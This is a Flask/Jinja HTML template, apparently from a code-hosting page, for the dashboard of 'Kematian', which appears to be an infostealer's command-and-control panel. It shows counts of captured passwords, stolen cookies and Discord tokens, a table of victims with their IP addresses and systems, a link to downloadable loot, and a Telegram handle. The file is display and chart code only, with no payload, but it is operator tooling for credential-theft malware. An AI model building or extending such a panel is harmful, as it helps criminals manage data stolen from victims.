155 lines
5.2 KiB
HTML
155 lines
5.2 KiB
HTML
{% extends "base.html" %}
|
|
{% block title %}Dashboard · Kematian {% endblock %}
|
|
{% block head %}
|
|
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
|
|
{% endblock %}
|
|
{% block content %}
|
|
<div class="page-head">
|
|
<div>
|
|
<h1>Dashboard</h1>
|
|
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
|
|
</div>
|
|
<div class="head-actions">
|
|
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="stat-row">
|
|
<div class="stat-card">
|
|
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
|
|
<div class="stat-num">{{ client_count }}</div>
|
|
<div class="stat-label">Total Clients</div>
|
|
<span class="stat-trend up">live</span>
|
|
</div>
|
|
<div class="stat-card">
|
|
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
|
|
<div class="stat-num">{{ stats['passwords'].count }}</div>
|
|
<div class="stat-label">Passwords Captured</div>
|
|
<span class="stat-trend up">collected</span>
|
|
</div>
|
|
<div class="stat-card">
|
|
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
|
|
<div class="stat-num">{{ stats['cookies'].count }}</div>
|
|
<div class="stat-label">Cookies Stolen</div>
|
|
<span class="stat-trend up">collected</span>
|
|
</div>
|
|
<div class="stat-card">
|
|
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
|
|
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
|
|
<div class="stat-label">Discord Tokens</div>
|
|
<span class="stat-trend up">collectible</span>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="charts-row">
|
|
<div class="chart-card">
|
|
<h2>Activity Overview</h2>
|
|
<div class="chart-body"><canvas id="activityChart"></canvas></div>
|
|
</div>
|
|
<div class="chart-card">
|
|
<h2>Data Distribution</h2>
|
|
<div class="chart-body"><canvas id="distChart"></canvas></div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="page-head" style="margin-bottom:12px">
|
|
<div><h1 style="font-size:19px">Recent Activity</h1></div>
|
|
<div class="head-actions">
|
|
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
|
|
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="table-card">
|
|
<div class="table-scroll">
|
|
<table>
|
|
<thead>
|
|
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
|
|
</thead>
|
|
<tbody>
|
|
{% for c in recent %}
|
|
<tr>
|
|
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
|
|
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
|
|
<td class="mono">{{ c.ip or '—' }}</td>
|
|
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
|
|
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
|
|
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
|
|
</tr>
|
|
{% else %}
|
|
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
|
|
{% endfor %}
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
window.addEventListener("DOMContentLoaded", () => {
|
|
const PURPLE = "#a855f7";
|
|
const PURPLE2 = "#7c3aed";
|
|
const grid = "rgba(255,255,255,0.05)";
|
|
const labels = {{ chart_labels | tojson }};
|
|
const values = {{ chart_values | tojson }};
|
|
const icons = {{ chart_icons | tojson }};
|
|
|
|
// Activity Overview — t.me/electronic_sex
|
|
const ctxA = document.getElementById("activityChart");
|
|
if (ctxA) {
|
|
new Chart(ctxA, {
|
|
type: "line",
|
|
data: {
|
|
labels: labels,
|
|
datasets: [{
|
|
label: "Entries",
|
|
data: values,
|
|
borderColor: PURPLE,
|
|
backgroundColor: "rgba(168,85,247,0.12)",
|
|
fill: true,
|
|
tension: 0.4,
|
|
pointBackgroundColor: PURPLE,
|
|
pointBorderColor: "#0a0a0f",
|
|
pointBorderWidth: 2,
|
|
pointRadius: 4,
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true, maintainAspectRatio: false,
|
|
plugins: { legend: { display: false } },
|
|
scales: {
|
|
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
|
|
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
|
|
}
|
|
}
|
|
});
|
|
}
|
|
|
|
// Data Distribution — donut
|
|
const ctxD = document.getElementById("distChart");
|
|
if (ctxD) {
|
|
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
|
|
new Chart(ctxD, {
|
|
type: "doughnut",
|
|
data: {
|
|
labels: labels,
|
|
datasets: [{
|
|
data: values,
|
|
backgroundColor: palette,
|
|
borderColor: "#131318",
|
|
borderWidth: 3,
|
|
hoverOffset: 6,
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true, maintainAspectRatio: false,
|
|
cutout: "62%",
|
|
plugins: {
|
|
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
|
|
}
|
|
}
|
|
});
|
|
}
|
|
});
|
|
</script>
|
|
{% endblock %}
|